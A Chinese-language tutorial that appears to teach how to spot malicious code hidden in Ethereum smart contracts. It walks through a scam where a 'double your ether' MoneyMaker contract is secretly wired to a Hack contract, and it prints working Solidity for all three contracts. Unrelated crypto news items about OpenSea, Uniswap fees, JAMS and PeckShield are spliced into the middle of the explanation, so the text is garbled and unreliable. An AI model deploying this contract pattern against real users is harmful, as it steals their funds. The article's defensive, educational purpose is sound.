概述
上期我们了解了利用tx.origin进行钓鱼的攻击手法,本期我们来带大家了解一下如何识别在合约中隐藏的恶意代码。
前置知识
大家还记得之前几期部署攻击合约时我们会传入目标合约的地址,在攻击合约中就可以调用目标合约中的函数吗,有些攻击者会利用这一点受害者。比如部署一个A合约并告诉受害者我们会在部署A合约的构造函数中传入B合约的地址并将B合约开源,其实我们会在部署A合约时传入C合约的地址,如果受害者完全信任我们没有检查部署A合约的那笔交易,我们就完美的将恶意代码隐藏在了C合约中。我们可以从下图来理解这个逻辑:
OpenSea智能合约已完成升级,迁移将于2月26日截止:2月19日消息,OpenSea 官方在社交媒体上发文表示,其智能合约升级已完成,新的智能合约已经上线,用户迁移智能合约需签署挂单迁移请求,签署此请求不需要 Gas 费,无需重新进行 NFT 审批或初始化钱包。在迁移期间,旧智能合约上的报价将失效。英式拍卖将于合约升级完成后暂时禁用几个小时,新合约生效后,可以再次创建新的定时拍卖。现有智能合约的荷兰式拍卖将于北京时间2月26日3时在迁移期结束时到期。[2022/2/19 10:02:11]
用户以为的调用路径:
部署合约A传入合约B地址,这样调用路径为正常路径。
实际的调用路径:
部署合约A传入合约C地址,这样调用路径为非正常路径。
下面我们使用一个简单的例子来分析这个局:
恶意代码
//SPDX-License-Identifier:MITpragmasolidity^0.8.13;contractMoneyMaker{??Vaultvault;??constructor(address_vault){????vault=Vault(payable(_vault));??}??functionmakeMoney(addressrecipient)publicpayable{????require(msg.value>=1,"Youaresopoor!");????uint256amount=msg.value*2;????(boolsuccess,)=address(vault).call{value:msg.value,gas:2300}("");????require(success,"Sendfailed");????vault.transfer(recipient,amount);??}}contractVault{??addressprivatemaker;??addressprivateowner;??uint256transferGasLimit;??constructor()payable{????owner=msg.sender;????transferGasLimit=2300;??}??modifierOnlyMaker(){????require(msg.sender==maker,"NotMoneyMakercontract!");????_;??}??modifierOnlyOwner(){????require(msg.sender==owner,"Notowner!");????_;??}??functionsetMacker(address_maker)publicOnlyOwner{????maker=_maker;??}??functiontransfer(addressrecipient,uint256amount)externalOnlyMaker{????require(amount<=address(this).balance,"GameOver~");????(boolsuccess,)=recipient.call{value:amount,gas:transferGasLimit}(??????""????);????require(success,"Sendfailed");??}??functionwithrow()publicOnlyOwner{????(boolsuccess,)=owner.call{??????value:address(this).balance,??????gas:transferGasLimit????}("");????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}//ThiscodeishiddeninaseparatefilecontractHack{??eventtaunt(stringmessage);??addressprivateevil;??constructor(address_evil){????evil=_evil;??}??modifierOnlyEvil(){????require(msg.sender==evil,"Whatareyoudoing?");????_;??}??functiontransfer()publicpayable{????emittaunt("Haha,youretherismine!");??}??functionwithrow()publicOnlyEvil{????(boolsuccess,)=evil.call{value:address(this).balance,gas:2300}(??????""????);????require(success,"Sendfailed");??}??receive()externalpayable{}??fallback()externalpayable{}}
硅谷王川:Uniswap等撮合交易的智能合约是以太网络拥堵,费用高企不下的最重要原因:独立投资人硅谷王川表示,以太坊网络上的不同操作,传输的数据大小不一样,因此消耗费用也不一样。Uniswap等撮合交易的智能合约,消耗了网络上20%的流量,是以太网络拥堵,费用高企不下的最重要原因。可以把这些智能合约看成一个完全开放的国际倒爷做买卖的贸易自由港。从这个角度看,70美元的gas成本其实不贵,如果嫌贵,那是因为你做的生意太小。Paypal做国际支付,一旦涉及到汇率不同的国家之间支付,支付费用可以到金额的4.5%,而且清算常常有延迟。从这个角度看,以太网的费用,即使在现在的相对高位,仍然是良心价格。
最终解决问题的方案,可能是Uniswap或者其竞争者推出一个rollup的智能合约,把交易批处理,费用可以压缩到忽略不计 (但清算会有些延迟)。只要有一家推出,竞争者必须马上跟进,否则别人就不用了,这样主网络上的费用也会迅速大幅下降。现在已经有二层rollup解决方案,如zkswap上线,但和Uniswap相比,锁仓金额不到后者的5%,主要交易对的流动性不到Uniswap的十分之一,还需要一段时间市场检验。[2021/2/25 17:51:22]
局分析
动态 | 私人调解和仲裁服务提供商JAMS正开发针对区块链纠纷的智能合约:据btcmanager报道,私人调解和仲裁服务提供商JAMS正进行“智能合约,区块链和加密货币”的相关实践,旨在解决针对关于的区块链特定纠纷,JAMS总裁兼首席执行官Chris Poole表示:区块链技术为客户创造了新的机会,有了这些机会,就迎来了新的挑战和风险。通过这一新产品,管理人员和律师将在探索区块链技术的优势时获得所需的指导和支持,这是一种开展业务的新方式,智能合约产生的争议必须由同样先进且能够解决所引入的复杂性的协议来管理。[2018/9/9]
可以看到,上述代码中存在三个合约,我们先结合前置知识中的A,B,C三个角色来区分三个合约分别代表什么角色:
MoneyMaker合约代表A合约;
Vault合约代表B合约;
Hack合约代表C合约。
所以用户以为的调用路径为:
MoneyMaker->Vault。
行情 | PeckShield漏洞研究总监罗元琮:以太坊公链安全相较智能合约更不容忽视:在2018 ISC互联网安全大会上,区块链安全公司PeckShield漏洞研究总监罗元琮指出,公链作为基础设施,一旦遭到攻击,其影响范围和危害程度超乎想象。PeckShield在本次大会的议题中披露了若干个存在于以太坊公链上的致命漏洞,目前这些漏洞均已和以太坊基金会沟通完成修复。此次披露的“EPoD 2”具体表现为:攻击者可通过geth LES协议实现缺陷,向受影响geth节点发送恶意AnnounceMsg,致使受害节点耗尽内存而卡死,甚至可能会连带大面积硬件终端宕机。其潜在危害也可能导致以太坊网络2/3以上的节点瞬间停摆,造成难以估量的严重影响。[2018/9/6]
而实际的调用路径为:
MoneyMaker->Hack。
下面我们来看看攻击者如何完成局的:
1.Evil部署Vault(B)合约并在合约中留存100ETH资金,在链上将Vault(B)合约开源;
声音 | 安比实验室:8月ETH主网智能合约创建总量创17个月新低 或因ETH交易市场遇冷:据安比实验室智能合约监控平台数据显示,2018 年 8 月以太坊主网智能合约创建总量为 51583,创 2017 年 4 月以来新低。8 月创建合约最多的地址为0x9862D074e33003726fA05c74F0142995f33A3250,共创建合约 8802 个。经安比实验室逆向分析,该地址创建合约字节码完全一致,疑似为钱包合约。据 BitcoinTalk 论坛网友举证,该地址疑似与 BiteBTC 和 BITRADERHUB 有关,且大量用户声称其存在行为。据安比实验室,大量数字货币交易所会批量创建智能合约作为用户钱包,用于处理用户的各类资产。之前有过报道,7 月份智能合约创建数量暴涨,疑似与某交易所大量创建钱包合约有关。而 8 月合约新增数量创 17 个月以来新低,则很可能与加密货币尤其是以太坊资产交易市场遇冷、新增用户规模萎缩存在重要联系。[2018/9/3]
2.Evil部署Hack(C)恶意合约;
3.Evil放出消息说他将会部署一个开源的赚钱MoneyMaker(A)合约,部署时会将Vault(B)合约地址传入且会调用Vault.setMacker()将maker角色设置为MoneyMaker合约地址,任何人调用MoneyMaker.makeMoney()向合约中打入不少于一个以太都会得到双倍以太的回报;
4.Bob收到消息,了解到MoneyMaker合约的存在,他看了MoneyMaker(A)和Vault(B)合约的代码并检查了Vault(B)合约中的余额发现逻辑确实如Evil说的那样,他在没有检查MoneyMaker(A)部署交易的情况下就相信了Evil;
5.Bob调用MoneyMaker.makeMoney()向合约中打入自己全部身家20ETH,在他满怀期待等着收到Vault(B)打来的40ETH时等来的却是一句"Haha,youretherismine!"。
咋回事呢?其实这个局非常简单但是很常见。Evil在部署MoneyMaker合约时传入的并不是Vault合约的地址,而是传入了Hack合约的地址。所以当Bob调用MoneyMaker.makeMoney()时并不会像他想像中的那样MoneyMaker.makeMoney()去调用Vault.transfer()回打给他双倍的以太,而是调用了Hack.transfer()抛出了一个事件:"Haha,youretherismine!"。最后Evil调用Vault.withrow()将Vault合约中的100ETH转出,并通过Hack.withrow()将Bob转入的20ETH转出。
预防建议
以太坊黑暗森林中你能相信的只有自己,不要相信任何人精彩的话术,交易记录不会造假,只有自己验证了对应的那笔交易后才能相信对方说的话是对的。
郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。